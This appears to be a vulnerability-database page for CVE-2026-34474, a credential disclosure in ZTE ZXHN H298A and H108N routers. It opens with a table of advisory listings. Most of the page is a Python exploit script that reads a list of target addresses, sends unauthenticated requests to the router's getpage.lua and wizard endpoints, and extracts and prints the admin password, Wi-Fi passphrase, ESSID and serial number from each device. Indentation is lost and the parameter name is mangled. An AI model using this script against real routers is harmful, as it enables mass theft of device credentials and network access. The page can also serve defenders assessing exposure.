| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-34474 | 6 May 202600:00 | – | attackerkb | |
| CVE-2026-34474 | 27 Mar 202623:26 | – | circl | |
| ZTE ZXHN H108N和ZTE ZXHN H298A 信息泄露漏洞 | 6 May 202600:00 | – | cnnvd | |
| CVE-2026-34474 | 6 May 202600:00 | – | cve | |
| CVE-2026-34474 | 6 May 202600:00 | – | cvelist | |
| EUVD-2026-27883 | 6 May 202621:31 | – | euvd | |
| CVE-2026-34474 | 6 May 202619:16 | – | nvd | |
| 📄 ZTE ZXHN H298A 1.1 / H108N 2.6 Unauthenticated Credential Disclosure | 20 May 202600:00 | – | packetstorm | |
| 📄 ZTE ZXHN H298A / H108N Credential Disclosure | 26 May 202600:00 | – | packetstorm | |
| PT-2026-38218 | 6 May 202600:00 | – | ptsecurity |
# Exploit Title: ZTE H298A / H108N - Unauthenticated Credential Exposure
via ETHCheat Parameter
# Date: 2026-05-20
# Exploit Author: Mina Nageh Salalma (Monx Research)
# Vendor Homepage: https://www.zte.com.cn
# Software Link:
https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
# Version: ZXHN H298A 1.1, ZXHN H108N 2.6
# Tested on: ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6
# CVE: CVE-2026-34474
# Description:
# An unauthenticated attacker can retrieve the live administrator password,
# WLAN PSK, and ESSID from a ZTE H298A or H108N router by issuing a single
# HTTP GET request to /getpage.lua?pid=1000ÐCheat=1. The device returns
# HTML markup containing the fields OBJ_USERINFO_IDPassword1 (admin
password),
# WLANPSK_KeyPassphrase1 (Wi-Fi PSK), and WLANAP_ESSID1 in plaintext.
# A second related endpoint exposes the serial number.
# No authentication, session, or cookie is required.
#
# Affected Firmware:
# - ZXHN H298A 1.1
# - ZXHN H108N 2.6
#
# MITRE CVE: https://www.cve.org/CVERecord?id=CVE-2026-34474
# Full write-up:
https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
import aiohttp
import asyncio
import html
import re
import os
from colorama import Fore, Style, init
init() # Initialize colorama
async def get_essid_password(session, url):
try:
async with aiohttp.ClientSession() as session:
# First request
async with session.get("http://" + url +
"/getpage.lua?pid=1000ÐCheat=1", verify_ssl=False) as response:
html_text = await response.text()
Admin =
re.search(r"id\s*=\s*'OBJ_USERINFO_IDPassword1'\s*value\s*=\s*'([^']+)'",
html_text).group(1)
Admin = html.unescape(Admin)
ESSID =
re.search(r"id\s*=\s*'WLANAP_ESSID1'\s*value\s*=\s*'([^']+)'",
html_text).group(1)
ESSID = html.unescape(ESSID)
password =
re.search(r"id\s*=\s*'WLANPSK_KeyPassphrase1'\s*value\s*=\s*'([^']+)'",
html_text).group(1)
password = html.unescape(password)
async with session.get("http://" + url +
"/wizard_page/wizard_overETHfail_set_lua.lua") as response:
html_text = await response.text()
serial_num =
re.search(r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>",
html_text).group(1)
serial_num = html.unescape(serial_num)
return {"URL": url, "Admin Password": Admin, "ESSID": ESSID,
"WIFI-Password": password, "Serial Number": serial_num}
except Exception as e:
return {"URL": url, "Admin Password": "", "ESSID": "",
"WIFI-Password": "", "Serial Number": ""}
async def main():
with open("urls.txt", "r") as f:
urls = f.read().splitlines()
tasks = []
async with aiohttp.ClientSession() as session:
for url in urls:
tasks.append(get_essid_password(session, url))
results = await asyncio.gather(*tasks)
for r in results:
print(f"[+] {r['URL']} | Admin: {r['Admin Password']} | ESSID:
{r['ESSID']} | WiFi: {r['WIFI-Password']} | Serial: {r['Serial Number']}")
if __name__ == "__main__":
asyncio.run(main())Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation